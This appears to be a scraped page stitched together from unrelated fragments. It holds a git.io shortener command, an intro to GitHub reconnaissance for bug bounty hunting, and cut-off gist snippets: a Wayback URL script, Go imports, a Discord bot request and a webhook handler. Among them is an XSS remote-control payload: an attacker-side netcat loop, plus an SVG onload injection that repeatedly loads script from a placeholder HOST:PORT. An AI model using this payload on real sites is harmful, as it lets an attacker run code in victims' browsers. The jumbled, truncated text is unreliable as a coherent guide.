Update: As of 11 January 2022, git.io no longer accepts new URLs.
Command:
curl https://git.io/ -i -F "url=https://github.com/YOUR_GITHUB_URL" -F "code=YOUR_CUSTOM_NAME"URLs that can be created is from:
https://github.com/*https://*.github.com
GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.
You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.
$ python githubcloner.py --org organization -o /tmp/output| . | |
| .. | |
| ........ | |
| @ | |
| * | |
| *.* | |
| *.*.* | |
| 🎠|
| import requests | |
| import sys | |
| import json | |
| def waybackurls(host, with_subs): | |
| if with_subs: | |
| url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host | |
| else: | |
| url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host |
| Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done | |
| Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)> |
| package main | |
| import ( | |
| "bufio" | |
| "fmt" | |
| "net" | |
| "net/http" | |
| "net/url" | |
| "crypto/tls" |
| #!/bin/bash | |
| # update the TOKEN and the CHANNELID, rest is optional | |
| # you may need to connect with a websocket the first time you run the bot | |
| # use a library like discord.py to do so | |
| curl -v \ | |
| -H "Authorization: Bot TOKEN" \ | |
| -H "User-Agent: myBotThing (http://some.url, v0.1)" \ | |
| -H "Content-Type: application/json" \ |
| /* | |
| HookHandler - listen for github webhooks, sending updates on channel. | |
| DeploymentMonitor select update type based on channel and call deployment script | |
| */ | |
| package main | |
| import ( | |
| "fmt" | |
| "html/template" | |
| "io/ioutil" |